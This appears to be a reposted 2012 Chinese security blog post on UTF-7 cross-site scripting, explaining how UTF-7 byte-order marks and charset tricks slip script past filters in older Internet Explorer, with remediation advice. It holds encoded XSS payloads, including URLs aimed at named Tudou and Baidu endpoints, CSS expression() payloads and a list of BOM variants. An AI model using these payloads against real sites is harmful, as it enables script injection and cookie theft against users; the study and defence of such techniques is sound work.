utf-7 xssutf-7 xss2012-02-13 22:49 星期一 晴 ----------------------------------------- UTF-7 XSS P
utf-7 xss
utf-7 xss
2012-02-13 22:49 星期一 晴 ----------------------------------------- UTF-7 XSS Paper ----------------------------------------- *****************?
0x01. UTF-7是什么?
************************************************** *************************************************** *******************?
UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式,?
用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。?
Wiki-URL: http://zh.wikipedia.org/zh-cn/UTF-7?
<1> 可以通过设置?@charset=utf-7 设定为 utf-7编码?
<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码?
utf-7 bom 目前知道的有4个?
+/v8 | +/v9 | +/v+ | +/v/?
************************************************** *************************************************** *******************?
**********************?
0x02. 可以针对哪些目标?
************************************************** *************************************************** *******************?
utf-7 相对于其他字符集有什么特点呢??
<1> 以 ASCII可显示字符 来编码的,这点在逃过过滤检测非常有用?
<2> 有 bom 这个东东,其他一些字符集没有,大大地提高了利用的几率?
utf-7 可以攻击的目标?
<1> http response 设置不严格的,比如设置 Content-Type: text/
html?
<2> 字符集没有专门指定的,是模糊的?
<3>?标签之前有机会设置字符集的?
用 utf-7 来攻击的步骤?
<1> 通过各种手段先夺取到utf-7字符集的优先权,使utf-7编码能被解码?
常见手段有?
在正文开始设置bom标记?
在之前设置字符集?
遇到默认字符集(没专门指定字符集)的网页通过编码格式争夺?
<2> 因为utf-7编码特点,可以逃过绝大部分过滤检测,再配合常规的XSS手法?
最简单的就是可以把 '<' 和 '>' 编码掉,而绝大部分的网站也只是简简单单地对这两个符号进行转移或过滤?
************************************************** *************************************************** *******************?
************************?
0x03. 怎样利用demo或说明?
************************************************** *************************************************** *******************?
Reflected XSS:?
[Json utf-7 xss]?
<格式> http://xx/..callback=[utf-7头][utf-7数据流]...?
黑哥挖的一个tudou的json callback?
http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8?
%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkA cAB0AD4AYQBsAGUAcgB0ACg?
AMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP gA8AC8AaAB0AG0APg-%20xsadas?
[utf-7头] -> %2B%2Fv8 (+/v8)?
[utf-7数据流] -> %2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB 0AD4AYQBsAGUAcgB0ACgAMQApADsAP?
AAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB 0AG0APg-?
[utf-7数据解码后] ->?
Stored XSS:?
[baidu自定义css utf-7 css]?
<格式> css正文开始必须为[utf-7头],[utf-7数据流]可在[utf-7头]后正文的任意位置?
黑哥blog里css的utf-7 xss?
http://hitn.bdimg.com/hi_heige/css/item/ee0 92fa60.css?
css正文的内容:?
-------------------------------------------------- ------------------?
+/v8?
#phx{FILTER: Alpha(Opacity=100, FinishOpacity=10, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)gray(); WIDTH: 220px;?
HEIGHT: 32px}?
...?
body{background:#FFFFFF;font- family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpA G8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD0AMQAp AD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASA BhAHAAcAB5ACAATgBl AHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC 8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0Aa QBsAHkAOgAnA-';}?
...?
-------------------------------------------------- ------------------?
[utf-7头] -> %2B%2Fv8 (+/v8)?
[utf-7数据流] -> +AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoA CgAdwBpAG4AZABvAHcALgByAHIAcgA9AD?
0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZ QB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5A?
CAATgBlAHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGk AbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgB?
hAG0AaQBsAHkAOgAnA-?
[utf-7数据解码后] -> x';xss:expression((window.rrr==1)?'':eval('rrr=1;e val(alert(/Happy New Year! thx mario./));'));font-family:'?
************************************************** *************************************************** *******************?
********************?
0x04. 有哪些修复方法?
************************************************** *************************************************** *******************?
要防御 utf-7 xss,只需要防止utf-7字符集被识别就行?
utf-7 能使用主要通过两种方式?
<1> 设置字符集为 utf-7?
<2> 在文本开头设置 utf-7 bom?
看看上文 utf-7 可以攻击的目标?
<1> http response 设置不严格的,比如设置 Content-Type: text/
html?
<2> 字符集没有专门指定的?
<3>?标签之前有机会设置字符集的?
再反推防御?
<1> http response 严格设置,比如 json 的一定要设置为 Content-Type: "json",不然会被 callback 攻击?
<2> 字符集在开发阶段就指定好,避免被抢夺优先权。?
如果不能先设置好字符集的(比如css)把正文开始插入一个 space 或 \n,让 utf-7 bom 失效?
<3> 不要让标签之前有机会设置字符集的?
demo:?
<1> 比如像存储类www.webyuanma.com的数据,应该在做了jsp过滤净化的基础上,防止出现 utf-7 bom?
就像 baidu在自定义css 的第一个位置强制插入一个 space?
为了不破坏用户所想要表达的数据之类,在第一个位置插入一个 space 或 \n 都可以?
<2> 像json被攻击的格式,在正文处也可以这样处理?
http://apps.hi.baidu.com/dashan/data/status?asyn=1 &callback=[utf-7头][utf-7数据流]......?
对于 json 的场景,还需要设置 header: Content-Type: "json" (格式貌似不对,表示那么个意思就是)?
或者在正文的asp.net第一个位置插入一个 space或 \n?
************************************************** *************************************************** *******************?
想到大部分人都比较懒~ 不想自己去搜?
就给一些很不错的参考资料链接吧~?
http://openmya.hacker.jp/hasegawa/public// s6/h6.
html?file=datae.txt (按方向键左右操作)?
http://openmya.hacker.jp/hasegawa/security/utf7cs. html?
http://secdocs.lonerunners.net/documents/details/2 056-xss-lightsabre-techniques-using-hackvertor?
明天又要纠结 javasnoop 鸟= =~ 雅蠛蝶~?
-------------------------------------------------- ------实验-------------------------------------------------- ------------------------------------------- 再访问 发现xss没反应?
仔细看了下 原来被 强制在第一个位置插入了一个空格 破坏了?
度娘把我的 utf-7 bom 赤裸裸地给ons了~?
雅蠛蝶呀~?
我还想玩玩呢~ 居然就被补鸟~ T_T~ 泪奔呀~?
-------------------------------------------------- -----------------------------?
收集了一些 utf-7 bom?
大家拿去玩吧 =.=~?
hackvertor 给的也只有这4个?
+/v8 +/v9 +/v+ +/v/?
原文?
UTF-7 Kung fu lesson continued?
·Multiple BOM characters allow UTF-7 to be executed?
·BOM character has to be first character?
·Not that useful but still interesting?
·%2B%2F%76%38?
·%2B%2F%76%39?
·%2B%2F%76%2b?
·%2B%2F%76%2f?
-------------------------------------------------- -----------------------------?
黑哥(5up3rh3i) 也给了个 utf-7 reflected xss 的例子?
在IE下测试成功?
http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGI AbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQ ApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8A C8AaAB0AG0APg-%20xsadas?
更多例子:?
+/v8?
body {?
font-family:?
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA?
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';?
}?
+/v8?
body {?
font-family:"+AHgAIgA7AHgAcwBzADoAZQB4AHAAcgBlAHMA cwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgB4AG8AeAA9AD0AMQA pAD8AJwAnADoAZQB2AGEAbAAoACIAeABvAHgAPQAxADsAZQB2AG EAbAAoAGEAbABlAHIAdAAoAC8AWABTAFMAIQAvACkAKQA7ACIAK QApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAI-";?
}?
//x";xss:expression((window.xox==1)?'':eval("xox=1 ;eval(alert(/XSS!/));"));font-family:"?
//x";xss:expression((window.xox==1)?'':eval("xox=1 ;document.write('');"));font-family:"?
继续更多:?
摘自我的博客[url]http://hi.baidu.com/thanks4sec/home[/url]?
想看UTF-7XSS效果的同学请用ie访问[url]http://hi.baidu.com/hi_heige/blog[/url]?
--------------------------------------?
大概是由heige牵头,导致UTF-7 XSS最近满火的,好多大侠也都在博客里撰文探讨?
最喜欢奇技淫巧了,倒腾了一翻,忍不住写点东西出来?
不对的地方请指正?
UTF-7是什么?
UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF)) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。?
举个例子:?
编码后就成了?
+ADw-script+AD4-alert(document.cookie)+ADw-/script +AD4-?
原理阐述?
由于标签没有指定明确的charset,导致浏览器将编码以utf-7解析,从而形成XSS?
比如一个回应包如下:?
HTTP/1.1 200 OK?
Content-Type: text/html.... ...?
我们看到,http头里并没有指定charset,那么浏览器会将包内容以何种编码形式解析呢??
OK,UTF-7 XSS的利用就在这里了?
linx在博客里也讲了,归根结底,这个问题还出在IE处理meta steam的编码策略上?
利用方法?
PS.针对utf-7微软之前已经对ie打过补丁了,所以以下的利用未必成功,仅供参考学习之用?
情况1.?
如:?
< /title>?
< meta http-equiv="content-type" content="text/html; charset=utf-8">?
在meta charset之前插入语句,使得charset成utf-7 ( 在IE8下测试不成功)?
情况3?
如:?
< head>?
< meta http-equiv="content-type" content="text/html>?
< /head>?
< body>?
< iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA 8-script%2BAD4-alert%28document.location%29%2BADw-% 2Fscript%2BAD4APAAi-">?
< /body>?
< /html>?
页面默认不以utf-7解析。通过在iframe中包含utf-7的语句,使得其解析成utf-7?
情况4?
如:?
[url]http://www.tudou.com/my/channel/item.srv?icod e=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APg A8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0A CgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkA PgA8AC8AaAB0AG0APg-%20xsadas[/url]?
[url]http://apps.hi.baidu.com/dashan/data/status?a syn=1&callback=[/url]【utf-7头】【utf-7数据流】......
json,这个很多了?
情况5?
· UTF-7 BOM character can force UTF-7 in a external style sheet?
· Would you let me upload a style sheet??
· @charset UTF-7; works?
· But you dont need it?
· +/v8 is all you need?
+/v8?
body {?
font-family:?
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA?
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';?
}?
CSS utf-7 XSS:在css里头通过+/v8(这里的原理还是之前说的,控制文件的开头的几个字节)控制编码成utf-7,heige在百度空间里用的就是这招
?